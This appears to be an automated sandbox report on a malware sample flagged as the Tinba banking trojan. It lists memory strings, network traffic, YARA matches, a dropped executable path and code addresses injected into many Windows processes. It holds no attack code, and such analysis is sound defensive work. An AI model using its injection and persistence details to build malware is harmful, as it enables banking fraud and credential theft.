Source: svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local
Source: svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local/
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/
Source: SearchApp.exe, 0000000B.00000000.1769556330.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://loki.delve.office.com/api
Source: SearchApp.exe, 0000000B.00000000.1854349272.0000024B5843A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/fromcodepoint
Source: StartMenuExperienceHost.exe, 00000009.00000000.1726392280.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2908493718.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: SearchApp.exe, 0000000B.00000000.1758577403.0000024B420F9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/owa
Source: SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/
Source: SearchApp.exe, 0000000B.00000000.1774346407.0000024B447CF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/M365.Access
Source: SearchApp.exe, 0000000B.00000000.1804409730.0000024B54E44000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office365.com/mail/deeplink/attachment/
Source: explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comxee
Source: SearchApp.exe, 0000000B.00000000.1803975206.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: SearchApp.exe, 0000000B.00000000.1814959925.0000024B5542F000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/SubstrateSearch-Internal.ReadWriteO
Source: SearchApp.exe, 0000000B.00000000.1769556330.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/search/api
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/search/api/v1/events?scenario=
Source: SearchApp.exe, 0000000B.00000000.1811664629.0000024B5530E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/search/api/v2/queryetItemChttps://substrate.office365.us/search/api/v2/
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000003.00000000.1640019930.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm
Source: SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ng.com
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766426485.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/
Source: SearchApp.exe, 0000000B.00000000.1766426485.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.comm

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49729 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR

E-Banking Fraud

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR

Source: C:\Windows\explorer.exe	Code function: 3_2_013A2270 NtQueryDirectoryFile,	3_2_013A2270
Source: C:\Windows\explorer.exe	Code function: 3_2_013A1EE1 NtCreateUserProcess,	3_2_013A1EE1
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC21D1 NtEnumerateValueKey,	4_2_00AC21D1

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02260005	0_2_02260005
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02261845	0_2_02261845
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02260EA9	0_2_02260EA9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F00E85	2_2_02F00E85
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F01821	2_2_02F01821
Source: C:\Windows\explorer.exe	Code function: 3_2_01381821	3_2_01381821
Source: C:\Windows\explorer.exe	Code function: 3_2_01380E85	3_2_01380E85
Source: C:\Windows\explorer.exe	Code function: 3_2_013A1821	3_2_013A1821
Source: C:\Windows\explorer.exe	Code function: 3_2_013A0E85	3_2_013A0E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0E85	4_2_00AC0E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC1821	4_2_00AC1821
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910E85	5_2_00910E85
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00911821	5_2_00911821
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0E85	6_2_009A0E85
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A1821	6_2_009A1821
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50E85	7_2_00A50E85
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A51821	7_2_00A51821
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40E85	8_2_00D40E85
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D41821	8_2_00D41821
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50E85	9_2_00B50E85
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B51821	9_2_00B51821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00111821	10_2_00111821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110E85	10_2_00110E85
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_001C1821	12_2_001C1821
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_001C0E85	12_2_001C0E85
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02380005	12_2_02380005
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02380EA9	12_2_02380EA9
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0E85	15_2_00AB0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB1821	15_2_00AB1821
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00291821	16_2_00291821
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290E85	16_2_00290E85
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_001C1821	17_2_001C1821
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_001C0E85	17_2_001C0E85
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_023A0005	17_2_023A0005
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_023A0EA9	17_2_023A0EA9
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00581821	19_2_00581821
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00580E85	19_2_00580E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 20_2_003D1821	20_2_003D1821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 20_2_003D0E85	20_2_003D0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900E85	23_2_00900E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00901821	23_2_00901821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00181821	24_2_00181821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180E85	24_2_00180E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00191821	26_2_00191821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190E85	26_2_00190E85
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00011821	28_2_00011821
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010E85	28_2_00010E85
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00221821	29_2_00221821
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00220E85	29_2_00220E85
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_006E1821	30_2_006E1821
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_006E0E85	30_2_006E0E85
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_00E60E85	31_2_00E60E85
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_00E61821	31_2_00E61821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 32_2_00940E85	32_2_00940E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 32_2_00941821	32_2_00941821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00B00E85	34_2_00B00E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00B01821	34_2_00B01821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 35_2_02860E85	35_2_02860E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 35_2_02861821	35_2_02861821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 36_2_02BB0E85	36_2_02BB0E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 36_2_02BB1821	36_2_02BB1821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 37_2_02561821	37_2_02561821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 37_2_02560E85	37_2_02560E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 38_2_02611821	38_2_02611821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 38_2_02610E85	38_2_02610E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 39_2_02521821	39_2_02521821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 39_2_02520E85	39_2_02520E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 40_2_02B20E85	40_2_02B20E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 40_2_02B21821	40_2_02B21821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 41_2_01451821	41_2_01451821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 41_2_01450E85	41_2_01450E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 42_2_02621821	42_2_02621821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 42_2_02620E85	42_2_02620E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 43_2_00EE0E85	43_2_00EE0E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 43_2_00EE1821	43_2_00EE1821
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 44_2_02D30E85	44_2_02D30E85
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 44_2_02D31821	44_2_02D31821

Source: C:\Windows\System32\conhost.exe	Code function: String function: 00E63653 appears 35 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 02F03653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00223653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00913653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 009A3653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00D43653 appears 35 times
Source: C:\Windows\System32\ctfmon.exe	Code function: String function: 00A53653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02563653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02B23653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02BB3653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02523653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02863653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02623653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 01453653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02D33653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 02613653 appears 35 times
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: String function: 00EE3653 appears 35 times
Source: C:\Windows\explorer.exe	Code function: String function: 013A3653 appears 34 times
Source: C:\Windows\explorer.exe	Code function: String function: 01383653 appears 35 times
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: String function: 00183653 appears 35 times
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: String function: 00013653 appears 35 times
Source: C:\Windows\System32\smartscreen.exe	Code function: String function: 00293653 appears 35 times
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: String function: 00B53653 appears 35 times
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: String function: 02383677 appears 34 times
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: String function: 023A3677 appears 34 times
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: String function: 001C3653 appears 70 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00943653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00193653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 003D3653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00113653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00903653 appears 35 times
